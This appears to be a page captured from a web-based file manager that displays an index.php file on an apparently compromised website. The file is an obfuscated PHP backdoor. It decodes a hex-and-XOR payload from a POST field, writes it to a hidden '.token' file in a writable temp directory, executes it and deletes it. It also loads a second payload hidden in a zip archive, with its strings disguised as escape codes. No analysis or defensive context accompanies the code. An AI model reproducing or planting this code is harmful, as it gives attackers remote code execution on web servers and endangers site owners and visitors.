芝麻web文件管理V1.00

编辑当前文件:/home/paymbalq/nair.tamela.org/live-scan/e914ox/e914ox/index.php
<?php if(isset($_POST["e\x6Et"])){ $component = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp"]); $data = hex2bin($_POST["e\x6Et"]); $flag ='' ;for($o=0; $o<strlen($data); $o++){$flag .= chr(ord($data[$o]) ^ 3);} foreach ($component as $entry): if ((is_dir($entry) and is_writable($entry))) { $symbol = sprintf("%s/.token", $entry); if (file_put_contents($symbol, $flag)) { include $symbol; @unlink($symbol); die(); } } endforeach; } error_reporting(0); $GwR = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x30\x62\x36\x64\x63\x32\x31\x36\x36\x35\x34\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x30\x62\x36\x64\x63\x32\x31\x36\x36\x35\x34\x2e\x74\x6d\x70", ); (${$GwR[0]}["\157\x66"]==1) && die($GwR[1]($GwR[2])); @include_once $GwR[2]; ?>